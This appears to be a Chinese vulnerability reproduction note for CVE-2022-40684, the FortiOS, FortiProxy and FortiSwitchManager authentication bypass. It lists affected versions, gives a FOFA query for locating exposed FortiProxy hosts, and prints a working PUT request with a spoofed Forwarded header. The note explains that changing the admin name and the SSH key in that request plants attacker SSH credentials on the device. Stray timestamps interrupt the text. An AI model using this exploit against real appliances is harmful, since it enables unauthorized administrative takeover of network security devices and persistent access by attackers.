2022-10-24 10:22:22 +08:00
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# Fortinet FortiOS admin 远程命令执行漏洞 CVE-2022-40684
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## 漏洞描述
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Fortinet 周一指出，上周修补的 CVE-2022-40684 身份验证绕过安全漏洞，正在野外被广泛利用。作为管理界面上的一个身份验证绕过漏洞，远程威胁参与者可利用其登录 FortiGate 防火墙、FortiProxy Web 代理、以及 FortiSwitch Manager（FSWM）本地管理实例
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## 漏洞影响
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```
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FortiOS <= 7.2.1、7.2.0、7.0.6、7.0.5、7.0.4、7.0.3、7.0.2、7.0.1、7.0.0
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FortiProxy <= 7.2.0、7.0.6、7.0.5、7.0.4、7.0.3、7.0.2、7.0.1、7.0.0
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FortiSwitchManager <= 7.2.0、7.0.0
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```
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## FOFA
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```
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title="FortiProxy"
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```
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## 漏洞复现
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登录页面
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2022-12-05 11:09:28 +08:00
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2022-10-24 10:22:22 +08:00
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验证POC, 利用时更换 admin用户名及 ssh-public-key1中的 ssh key 添加远程 SSH登录凭证
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```
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PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
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Host:
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Accept: */*
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Accept-Encoding: gzip, deflate
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Content-Length: 597
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Content-Type: application/json
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Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
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User-Agent: Report Runner
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{"ssh-public-key1": "123"}
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```
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2022-12-05 11:09:28 +08:00
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